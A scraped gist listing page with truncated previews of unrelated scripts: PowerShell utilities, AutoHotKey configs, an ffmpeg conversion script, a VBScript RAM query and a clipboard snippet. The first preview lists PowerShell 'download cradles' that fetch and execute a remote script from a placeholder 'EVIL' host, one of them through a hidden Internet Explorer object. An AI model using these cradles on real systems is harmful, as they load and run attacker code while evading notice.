My (@pongstr) opinion about shorthand coding techniques
Shorthand code is not really a replacement for normal coding but it is very handy and useful in some cases. There are tons of opinions and debates around this but, again it all comes down what is necessary for your codebase and using it responsibly.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# normal download cradle | |
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
# PowerShell 3.0+ | |
IEX (iwr 'http://EVIL/evil.ps1') | |
# hidden IE com object | |
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
# Msxml2.XMLHTTP COM object |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function Set-WindowState { | |
<# | |
.LINK | |
https://gist.github.com/Nora-Ballard/11240204 | |
#> | |
[CmdletBinding(DefaultParameterSetName = 'InputObject')] | |
param( | |
[Parameter(Position = 0, Mandatory = $true, ValueFromPipeline = $true)] | |
[Object[]] $InputObject, |
Memory allocated for each proccess:
get-process | Group-Object -Property ProcessName | Format-table Name, @{n='Mem (KB)';e={'{0:N0}' -f (($_.Group|Measure-Object WorkingSet -Sum).Sum / 1KB)};a='right'} -AutoSize
Get Temp folder:
$env:TEMP # 8+3 format
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;------------------------------------------------------------------------------- | |
; Jake's AutoHotKey.ahk | |
; | |
; For Reference: | |
; | |
; Hotkey Modifiers | |
; # - Windows key | |
; ! - Alt | |
; ^ - Control | |
; + - Shift |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Settings | |
outfolder="converted" | |
codec="libx264" | |
maxres="448" | |
#filter="crop=floor(in_w/2)*2:floor(in_h/2)*2:0:0:exact=1,colorspace=bt601-6-625:range=pc:irange=tv:iall=bt601-6-625:format=yuv444p12,zscale=rin=full:tin=601:t=linear,scale=if(gt(iw\,ih)\,min($maxres\,floor((iw+1)/2)*2)\,-2):if(gt(iw\,ih)\,-2\,min($maxres\,floor((ih+1)/2)*2)),zscale=rin=full:r=limited:tin=linear:t=601" | |
filter="scale=if(gt(iw\,ih)\,min($maxres\,floor((iw+1)/2)*2)\,-2):if(gt(iw\,ih)\,-2\,min($maxres\,floor((ih+1)/2)*2)):out_color_matrix=bt601:out_range=tv:flags=accurate_rnd+full_chroma_inp+full_chroma_int+bicublin" | |
preset="veryslow" | |
profile="high" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
''''''''''''''''''''''''''''' | |
' Purpose: Allows you to easily get the RAM configuration of a computer. LAN Sweeper won't tell you the RAM type, but this utility will. This should be useful for RAM upgrades. | |
' Requirements: Probably admin in Active Directory | |
' Written by: Alex Yancey | |
' Date: September 15, 2016 | |
''''''''''''''''''''''''''''' | |
' More info about SMBIOS can be found in the SMBIOS specification: https://www.dmtf.org/standards/smbios, and from this article: http://www.codeguru.com/cpp/misc/misc/system/article.php/c12347/SMBIOS-Demystified.htm | |
computer_name = InputBox("Computer name: ", "RAM Identifier") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; How to use: | |
; 1. Install AuthotKey: https://www.autohotkey.com | |
; 2. Save this script in `My Documents` | |
; 3. Create a shortcut in the Startup folder (`Win`+`R`, `shell:startup`) | |
; 4. Change the configurations below | |
; 5. Start and test the script! | |
; Configuration | |
; Cultures can be fetched from here: https://msdn.microsoft.com/en-us/library/windows/desktop/dd318693(v=vs.85).aspx |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Markdown Quote to Clipboard | |
*/ | |
var mo = { | |
version: 1, | |
btnId: 'clipboard-btn-dceaeae8-1557-4454-883c-05ae99312192', | |
id:'clipboard-dceaeae8-1557-4454-883c-05ae99312192', | |
textareaId: 'clipboard-textarea-dceaeae8-1557-4454-883c-05ae99312192', | |
uniqueId: 'clipboard-script-dceaeae8-1557-4454-883c-05ae99312192', |